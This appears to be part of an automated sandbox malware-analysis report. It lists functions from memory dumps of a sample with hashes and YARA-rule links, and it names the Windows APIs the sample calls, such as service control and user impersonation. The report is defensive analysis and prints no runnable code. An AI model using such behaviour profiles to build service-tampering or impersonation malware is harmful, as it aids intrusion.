Opcode ID: 63bd9f721a24902ee04e3513376b99a859e5c48d21ec06f6c9c703ab5f5cd13c
Instruction ID: 3c50c83d3d26e861fecb9a4cffdedb5129e521e05c9b6953a818e1f62642daad
Opcode Fuzzy Hash: 63bd9f721a24902ee04e3513376b99a859e5c48d21ec06f6c9c703ab5f5cd13c
Instruction Fuzzy Hash: CD2127B6C01219DFDB50CF99D884BDEFBF4EF88710F14855AD908AB204DB34A551CBA4

Function 04FA0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FA0DCD

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e1c8aa3d6f5c16d705df5affda9cdd705953b5441e161dd6a4c5a4ca5e55a8aa
Instruction ID: 53150ab96c646c3bfd808950b33f9d534aaa55bcaa0b69733574976b738b79d4
Opcode Fuzzy Hash: e1c8aa3d6f5c16d705df5affda9cdd705953b5441e161dd6a4c5a4ca5e55a8aa
Instruction Fuzzy Hash: A02147B6C00209CFDB00CF99E480BDEFBF1FB88320F14812AD908AB244CB34A555CBA4

Function 04FA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FA1580

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0889145176fbbd31a3e3d762237ce335aa5062a7cbf05998dde815c7dea529d7
Instruction ID: 48aa3b3fad7ce57ccb3c37fabe492dc722444a2a5efba813ccb65a2ee56fe441
Opcode Fuzzy Hash: 0889145176fbbd31a3e3d762237ce335aa5062a7cbf05998dde815c7dea529d7
Instruction Fuzzy Hash: E91114B5D00249CFDB10CF9AC584BDEFBF4EB48320F10802AE959A7250D378A644CFA5

Function 04FA1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FA1580

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 5971639498d13269e168cfc78f39f9a59d0ccb8dc3c338a4c0e2ab372bba207f
Instruction ID: 855b5eaea61b061bb682d1622b73e3d2433599618adb7f164ea97794f16e993e
Opcode Fuzzy Hash: 5971639498d13269e168cfc78f39f9a59d0ccb8dc3c338a4c0e2ab372bba207f
Instruction Fuzzy Hash: 8F11F3B5D00249CFDB10CF9AC584BDEFBF4BB48320F10842AE959A7250D778AA54CFA5

Function 04FA1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FA1367

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: efa058b80fb45aa5a2da95358bd0327218045f8c8c01b0882e8d5431d3599aa9
Instruction ID: b85f3dfbe2b0c8ad2c2952475793b6fa445ae290cf51137f9aeb7ad4073e0a28
Opcode Fuzzy Hash: efa058b80fb45aa5a2da95358bd0327218045f8c8c01b0882e8d5431d3599aa9
Instruction Fuzzy Hash: 191143B1800349CFEB10CF9AD585BDEBBF4EF48324F24842AD558A3640C778A555CBA5

Function 04FA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FA1367

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 2577f0b989f386c93fd817ee7291ebb41bdba9b65a02495bc381bc0e1b60b3fb
Instruction ID: 2dd0a673ba852a393513e7c5280dab93f7b08a29943aff2e02202507d50c6763
Opcode Fuzzy Hash: 2577f0b989f386c93fd817ee7291ebb41bdba9b65a02495bc381bc0e1b60b3fb
Instruction Fuzzy Hash: FF1133B1800349CFEB10CF9AC545BDEFBF8EB48320F20846AD558A3650C778A984CFA5

Function 00EE1EE8 Relevance: 1.5, APIs: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cbed3af6862c5304dcb2349927f27001221749e62e079a3d8a5a33b4d7a8b398
Instruction ID: 4f69249a8dfaf0957093d4a6e1605536a2249619a5351bd8d279a9d17b12b2bd
Opcode Fuzzy Hash: cbed3af6862c5304dcb2349927f27001221749e62e079a3d8a5a33b4d7a8b398
Instruction Fuzzy Hash: 22F046F251C34A6CE700CE715A10AFB37A8DF87320B30866EF802D6042D2610C849278

Function 00EE1B33 Relevance: 1.5, APIs: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5280bf36250f0e1b813b254ab9f1a71897d0db80947160c74f6aa93457b5a17b
Instruction ID: d8f0c7c0537c4ef6fd4f9769b5ce9c1b3b5e24cecada163192433ce2d992c615
Opcode Fuzzy Hash: 5280bf36250f0e1b813b254ab9f1a71897d0db80947160c74f6aa93457b5a17b
Instruction Fuzzy Hash: BAF0277228839DFDE601DD268E90FFFB719E741370F205465F08AFB081E2A11D889670

Function 00EE1B6C Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c78167dfbd6f7ae5e6b4b94680b4fd0aa2966358b3e722fffd00d8f6a442665e
Instruction ID: 0dffdbf6ba888f601faaadb06d7bbb50b322080e6e6e0851eb88d5445c4b3200
Opcode Fuzzy Hash: c78167dfbd6f7ae5e6b4b94680b4fd0aa2966358b3e722fffd00d8f6a442665e
Instruction Fuzzy Hash: 0EE0617240D3DDEEE712C6664D40AE97724FBD633073461D5E042B7052F2305C855360

Function 00EE1F19 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
